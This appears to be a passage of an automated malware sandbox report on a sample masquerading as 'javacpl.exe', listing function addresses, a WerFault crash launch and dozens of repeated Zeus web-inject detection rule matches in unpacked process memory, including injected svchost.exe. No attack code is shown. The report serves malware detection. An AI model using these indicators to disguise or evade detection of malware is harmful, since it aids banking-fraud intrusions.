Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009F36F0	9_2_009F36F0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009FAE00	9_2_009FAE00
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009C3FB0	9_2_009C3FB0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A06FE3	9_2_00A06FE3
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009C8FC0	9_2_009C8FC0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_009E7F60	9_2_009E7F60

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6912 -s 904

Source: UMwpXhA46R.exe

Binary or memory string: OriginalFilenamejavacpl.exeX vs UMwpXhA46R.exe

Source: UMwpXhA46R.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.fe2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.13.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886c00.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2c70000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.56.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.34.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.30.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.20.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.36.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.28.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ea2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.33.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.45.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.21.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.f380000.11.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.14.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.38.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.20.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.24f2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.d30000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.cd2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.40.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.29.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.52.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.36.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.45.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.UMwpXhA46R.exe.406400.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2af2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.cd2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.56.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
